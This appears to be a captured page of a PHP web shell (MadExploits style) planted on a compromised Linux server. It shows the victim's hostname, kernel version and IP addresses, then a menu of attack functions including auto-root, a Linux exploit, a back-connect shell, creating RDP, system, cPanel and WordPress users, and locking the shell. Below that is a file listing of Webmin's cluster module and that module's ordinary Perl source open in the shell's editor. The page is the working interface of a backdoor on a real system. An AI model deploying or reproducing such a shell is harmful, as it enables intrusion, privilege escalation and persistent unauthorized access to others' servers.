Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.05
KB
-rw-r--r--
add.cgi
2.48
KB
-rwxr-xr-x
cluster-webmin-lib.pl
7.29
KB
-rwxr-xr-x
config
25
B
-rw-r--r--
config.info
108
B
-rw-r--r--
config.info.ca
137
B
-rw-r--r--
config.info.cs
79
B
-rw-r--r--
config.info.de
125
B
-rw-r--r--
config.info.es
75
B
-rw-r--r--
config.info.fr
134
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms
131
B
-rw-r--r--
config.info.nl
131
B
-rw-r--r--
config.info.no
127
B
-rw-r--r--
config.info.pl
122
B
-rw-r--r--
create_group.cgi
3.11
KB
-rwxr-xr-x
create_user.cgi
3.95
KB
-rwxr-xr-x
delete_group.cgi
3.22
KB
-rwxr-xr-x
delete_host.cgi
248
B
-rwxr-xr-x
delete_mod.cgi
4.17
KB
-rwxr-xr-x
delete_user.cgi
2.15
KB
-rwxr-xr-x
edit_acl.cgi
3.94
KB
-rwxr-xr-x
edit_config.cgi
2.13
KB
-rwxr-xr-x
edit_group.cgi
6.35
KB
-rwxr-xr-x
edit_host.cgi
4.46
KB
-rwxr-xr-x
edit_mod.cgi
7
KB
-rwxr-xr-x
edit_user.cgi
8.96
KB
-rwxr-xr-x
group_form.cgi
2.98
KB
-rwxr-xr-x
index.cgi
9.46
KB
-rwxr-xr-x
install.cgi
7.68
KB
-rwxr-xr-x
module.info
227
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
185
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
279
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
304
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
306
B
-rw-r--r--
module.info.ca
178
B
-rw-r--r--
module.info.ca.auto
23
B
-rw-r--r--
module.info.cs
33
B
-rw-r--r--
module.info.cs.auto
158
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
192
B
-rw-r--r--
module.info.de
160
B
-rw-r--r--
module.info.de.auto
23
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
345
B
-rw-r--r--
module.info.es
36
B
-rw-r--r--
module.info.es.auto
162
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
191
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
256
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
190
B
-rw-r--r--
module.info.fr
35
B
-rw-r--r--
module.info.fr.auto
183
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
240
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
193
B
-rw-r--r--
module.info.hu
33
B
-rw-r--r--
module.info.hu.auto
185
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
183
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
256
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
195
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
206
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
197
B
-rw-r--r--
module.info.ms
151
B
-rw-r--r--
module.info.ms.auto
23
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
188
B
-rw-r--r--
module.info.nl
33
B
-rw-r--r--
module.info.nl.auto
155
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.auto
153
B
-rw-r--r--
module.info.pl
168
B
-rw-r--r--
module.info.pl.auto
23
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
196
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
205
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
189
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
320
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
199
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
186
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
186
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
403
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
204
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
328
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
287
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
215
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
160
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
169
B
-rw-r--r--
prefs.info
28
B
-rw-r--r--
refresh.cgi
4.08
KB
-rwxr-xr-x
save_acl.cgi
3.33
KB
-rwxr-xr-x
save_config.cgi
1.33
KB
-rwxr-xr-x
save_group.cgi
4.54
KB
-rwxr-xr-x
save_user.cgi
5.24
KB
-rwxr-xr-x
sync.cgi
4
KB
-rwxr-xr-x
sync_form.cgi
1.8
KB
-rwxr-xr-x
update.cgi
4.1
KB
-rwxr-xr-x
upgrade.cgi
15.26
KB
-rwxr-xr-x
user_form.cgi
4.5
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cluster-webmin-lib.pl
# cluster-webmin-lib.pl # Common functions for managing webmin installs across a cluster BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); &foreign_require("servers", "servers-lib.pl"); # list_webmin_hosts() # Returns a list of all hosts whose webmin modules are being managed sub list_webmin_hosts { local %smap = map { $_->{'id'}, $_ } &list_servers(); local $hdir = "$module_config_directory/hosts"; opendir(DIR, $hdir); local ($h, @rv); foreach $h (readdir(DIR)) { next if ($h eq "." || $h eq ".." || !-d "$hdir/$h"); local %host = ( 'id', $h ); next if (!$smap{$h}); # underlying server was deleted local $f; opendir(MDIR, "$hdir/$h"); foreach $f (readdir(MDIR)) { if ($f =~ /^(\S+)\.mod$/) { local %mod; &read_file("$hdir/$h/$f", \%mod); push(@{$host{'modules'}}, \%mod); } elsif ($f =~ /^(\S+)\.theme$/) { local %theme; &read_file("$hdir/$h/$f", \%theme); push(@{$host{'themes'}}, \%theme); } elsif ($f =~ /^(\S+)\.user$/) { local %user; &read_file("$hdir/$h/$f", \%user); $user{'modules'} = [ split(/\s+/, $user{'modules'}) ]; $user{'ownmods'} = [ split(/\s+/, $user{'ownmods'}) ]; $user{'olds'} = [ split(/\s+/, $user{'olds'}) ]; push(@{$host{'users'}}, \%user); } elsif ($f =~ /^(\S+)\.group$/) { local %group; &read_file("$hdir/$h/$f", \%group); $group{'modules'} = [ split(/\s+/, $group{'modules'}) ]; $group{'ownmods'} = [ split(/\s+/, $group{'ownmods'}) ]; $group{'members'} = [ split(/\s+/, $group{'members'}) ]; push(@{$host{'groups'}}, \%group); } elsif ($f eq "webmin") { &read_file("$hdir/$h/$f", \%host); } } closedir(MDIR); push(@rv, \%host); } closedir(DIR); return @rv; } # save_webmin_host(&host) sub save_webmin_host { local $hdir = "$module_config_directory/hosts"; local %oldfile; mkdir($hdir, 0700); if (-d "$hdir/$_[0]->{'id'}") { opendir(DIR, "$hdir/$_[0]->{'id'}"); map { $oldfile{$_}++ } readdir(DIR); closedir(DIR); } else { mkdir("$hdir/$_[0]->{'id'}", 0700); } local $m; foreach $m (@{$_[0]->{'modules'}}) { &write_file("$hdir/$_[0]->{'id'}/$m->{'dir'}.mod", $m); delete($oldfile{"$m->{'dir'}.mod"}); } foreach $m (@{$_[0]->{'themes'}}) { &write_file("$hdir/$_[0]->{'id'}/$m->{'dir'}.theme", $m); delete($oldfile{"$m->{'dir'}.theme"}); } foreach $m (@{$_[0]->{'users'}}) { local %u = %$m; $u{'modules'} = join(" ", @{$u{'modules'}}); $u{'ownmods'} = join(" ", @{$u{'ownmods'}}); $u{'olds'} = join(" ", @{$u{'olds'}}); &write_file("$hdir/$_[0]->{'id'}/$u{'name'}.user", \%u); delete($oldfile{"$u{'name'}.user"}); } foreach $m (@{$_[0]->{'groups'}}) { local %g = %$m; $g{'modules'} = join(" ", @{$g{'modules'}}); $g{'ownmods'} = join(" ", @{$g{'ownmods'}}); $g{'members'} = join(" ", @{$g{'members'}}); &write_file("$hdir/$_[0]->{'id'}/$g{'name'}.group", \%g); delete($oldfile{"$g{'name'}.group"}); } local %webmin = %{$_[0]}; delete($webmin{'modules'}); delete($webmin{'themes'}); delete($webmin{'users'}); delete($webmin{'groups'}); delete($webmin{'id'}); &write_file("$hdir/$_[0]->{'id'}/webmin", \%webmin); delete($oldfile{"webmin"}); unlink(map { "$hdir/$_[0]->{'id'}/$_" } keys %oldfile); } # delete_webmin_host(&host) sub delete_webmin_host { system("rm -rf '$module_config_directory/hosts/$_[0]->{'id'}'"); } # list_servers() # Returns a list of all servers from the webmin servers module that can be # managed, plus this server sub list_servers { local @servers = &servers::list_servers_sorted(); return ( &servers::this_server(), grep { $_->{'user'} } @servers ); } # server_name(&server) sub server_name { return ($_[0]->{'id'} == 0 ? &get_system_hostname() : $_[0]->{'host'}). ($_[0]->{'desc'} ? " (".$_[0]->{'desc'}.")" : ""); } # all_modules(&hosts) sub all_modules { local (%done, $u, %descc); local @uniq = grep { !$done{$_->{'dir'}}++ } map { @{$_->{'modules'}} } @{$_[0]}; map { $descc{$_->{'desc'}}++ } @uniq; foreach $u (@uniq) { $u->{'desc'} .= " ($u->{'dir'})" if ($descc{$u->{'desc'}} > 1); } return sort { $a->{'desc'} cmp $b->{'desc'} } @uniq; } # all_themes(&hosts) sub all_themes { local %done; return sort { $a->{'desc'} cmp $b->{'desc'} } grep { !$done{$_->{'dir'}}++ } map { @{$_->{'themes'}} } @{$_[0]}; } # all_groups(&hosts) sub all_groups { local %done; return sort { $a->{'name'} cmp $b->{'name'} } grep { !$done{$_->{'name'}}++ } map { @{$_->{'groups'}} } @{$_[0]}; } # all_users(&hosts) sub all_users { local %done; return sort { $a->{'name'} cmp $b->{'name'} } grep { !$done{$_->{'name'}}++ } map { @{$_->{'users'}} } @{$_[0]}; } # create_on_input(desc, [no-donthave], [no-have], [multiple], [colspan]) sub create_on_input { local @hosts = &list_webmin_hosts(); local @servers = &list_servers(); if ($_[0]) { print "<tr> <td><b>$_[0]</b></td>\n"; my $colspan = "colspan=$_[4]" if ($_[4]); print "<td $colspan>\n"; } if ($_[3]) { print "<select name=server size=5 multiple>\n"; } else { print "<select name=server>\n"; } print "<option value=-1>$text{'user_all'}</option>\n"; print "<option value=-2>$text{'user_donthave'}</option>\n" if (!$_[1]); print "<option value=-3>$text{'user_have'}</option>\n" if (!$_[2]); local @groups = &servers::list_all_groups(\@servers); local $h; foreach $h (@hosts) { local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers; if ($s) { print "<option value='$s->{'id'}'>", $s->{'desc'} ? $s->{'desc'} : $s->{'host'},"</option>\n"; $gothost{$s->{'host'}}++; } } local $g; foreach $g (@groups) { local ($found, $m); foreach $m (@{$g->{'members'}}) { ($found++, last) if ($gothost{$m}); } print "<option value='group_$g->{'name'}'>", &text('user_ofgroup', $g->{'name'}),"</option>\n" if ($found); } print "</select>\n"; if ($_[0]) { print "</td> </tr>\n"; } } # create_on_parse(prefix, &already, name, [no-print]) sub create_on_parse { local @allhosts = &list_webmin_hosts(); local @servers = &list_servers(); local @hosts; local $server; foreach $server (split(/\0/, $in{'server'})) { if ($server == -2) { # Install on hosts that don't have it local %already = map { $_->{'id'}, 1 } @{$_[1]}; push(@hosts, grep { !$already{$_->{'id'}} } @allhosts); print "<b>",&text($_[0].'3', $_[2]),"</b><p>\n" if (!$_[3]); } elsif ($server == -3) { # Install on hosts that do have it local %already = map { $_->{'id'}, 1 } @{$_[1]}; push(@hosts, grep { $already{$_->{'id'}} } @allhosts); print "<b>",&text($_[0].'6', $_[2]),"</b><p>\n" if (!$_[3]); } elsif ($server =~ /^group_(.*)/) { # Install on members of some group local ($group) = grep { $_->{'name'} eq $1 } &servers::list_all_groups(\@servers); push(@hosts, grep { local $hid = $_->{'id'}; local ($s) = grep { $_->{'id'} == $hid } @servers; &indexof($s->{'host'}, @{$group->{'members'}}) >= 0 } @allhosts); print "<b>",&text($_[0].'4', $_[2], $group->{'name'}), "</b><p>\n" if (!$_[3]); } elsif ($server != -1) { # Just install on one host local ($onehost) = grep { $_->{'id'} == $server } @allhosts; push(@hosts, $onehost); local ($s) = grep { $_->{'id'} == $onehost->{'id'} } @servers; print "<b>",&text($_[0].'5', $_[2], &server_name($s)),"</b><p>\n" if (!$_[3]); } else { # Installing on every host push(@hosts, @allhosts); print "<b>",&text($_[0], join(" ", @names)), "</b><p>\n" if (!$_[3]); } } return &unique(@hosts); } 1;
Close